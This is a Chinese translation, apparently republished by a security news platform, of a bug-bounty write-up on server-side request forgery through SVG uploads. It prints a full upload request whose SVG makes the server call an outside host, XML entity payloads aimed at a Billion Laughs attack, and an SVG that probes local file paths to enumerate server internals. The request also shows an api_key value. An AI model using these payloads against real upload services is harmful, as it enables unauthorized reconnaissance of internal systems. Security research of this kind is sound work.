• SSRF(Server-side-request-forgery)已經成為上傳功能的一個非常重要的攻擊點,特別是在目標應用會從外部資源獲取圖片、文檔的情況下。
  • SVG是一種基於xm l的矢量圖像,可在Web和其他環境中展示各種圖形。由於它是xm l結構,所以支持各種xm l特性,其中一個特性是XLink,支持在xm l文檔中創建內部或外部的超鏈接。

在以下展示中,我將通過基於XLink的SSRF漏洞來枚舉各種內部庫、已安裝工具、gnome版本等等,

POST /upload HTTP/1.1
Host: redacted.com
Connection: close
Content-Length: 1313
Accept: application/json, text/ja vasc ript, */*; q=0.01
Origin: https://redacted.com
X-Requested-With: xm lHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryINZ5MzqXAud4aYrN
Referer: https://redacted.com
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

ceaa2f2d25275bb5879a726eb8c04aec7b3a64f7
------WebKitFormBoundaryINZ5MzqXAud4aYrN
Content-Disposition: form-data; name="timestamp"

1551244304
------WebKitFormBoundaryINZ5MzqXAud4aYrN
Content-Disposition: form-data; name="api_key"

413781391468673
------WebKitFormBoundaryINZ5MzqXAud4aYrN
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg

<?xm l version="1.0" encoding="UTF-8" standalone="no"?><svg xm lns:svg="http://www.w3.org/2000/svg" xm lns="http://www.w3.org/2000/svg" xm lns:xlink="http://www.w3.org/1999/xlink" width_="200" height="200"><image height="30" width_="30" xlink:href="http://myserver:1337/" /></svg>

  • 注意,上面請求解析後會對myserver:1337/發起請求。而我的伺服器在接到請求後,發現referer請求頭顯示請求是從localhost發起的,埠為3000。

上面描述的場景是目標應用上傳一個SVG格式的圖像,接下來我們將嘗試在上傳請求中包含一個靜態實體,看看解析器作何反應。

<?xm l version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE testingxxe [ <!ENTITY xm l "POC for Static Entities Allowed">]> <svg xm lns:svg="w3.org/2000/svg" xm lns="w3.org/2000/svg" xm lns:xlink="w3.org/1999/xlink" width_="200" height="200"> <text x="0" y="20" font-size="20">&xm l;</text> </svg>
  • 好的,解析器會正常處理靜態實體,接下來我們嘗試包含一個SYSTEM實體的DTD,這更像是XXE攻擊,但是解析器在後端做出了攔截,看樣子這裡對惡意xm l的解析進行了安全防護。

由於解析器會攔截基於SYSTEM的實體,攻擊面受到了限制。是時候測試Billion Laughs attack了。注意:在進行模糊測試前,一定要了解解析器的邏輯,在攻擊之前,我測試了簡單的回調實體函數,看看解析器是否允許通過回調xml2的實體來渲染xml1實體。

<?xm l version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE testingxxe [ <!ENTITY xm l1 "This is my first message"> <!ENTITY xm l2 "&xm l1";> ]> <text x="0" y="20" font-size="20">&xm l2;</text> </svg>

  • 不幸的是,解析器也會攔截回調實體。現在,我們的攻擊點就只有第一步的SVG圖片了,利用可能存在於系統默認路徑的圖片,通過暴力枚舉這些圖片來提取內部伺服器信息。
  • 為了列舉出儘可能多的伺服器信息,我們需要為系統上所有可能的本地圖片建立一個單詞表。

現在是時候往圖片上傳請求中帶入不同的圖片路徑來測試圖片是否存在,間接推斷出伺服器的內部信息。

<?xm l version="1.0" encoding="UTF-8" standalone="no"?> <svg xm lns:svg="w3.org/2000/svg" xm lns="w3.org/2000/svg" xm lns:xlink="w3.org/1999/xlink" width_="200" height="200"> <image height="30" width_="30" xlink:href="/lib/plymouth/ubuntu_logo.png" /> <image height="30" width_="30" xlink:href="http://<EXAMPLE_SERVER>:999/example.png" /> <text x="0" y="20" font-size="20">test</text> </svg>

感謝你的閱讀!

本文由白帽彙整理並翻譯,不代表白帽匯任何觀點和立場

來源:利用SVG圖片和SSRF收集伺服器內部信息|NOSEC安全訊息平台 - NOSEC.ORG

原文:medium.com/@arbazhussai

白帽匯從事信息安全,專註於安全大數據、企業威脅情報。

公司產品:FOFA-網路空間安全搜索引擎、FOEYE-網路空間檢索系統、NOSEC-安全訊息平台。

為您提供:網路空間測繪、企業資產收集、企業威脅情報、應急響應服務。


推薦閱讀:
相关文章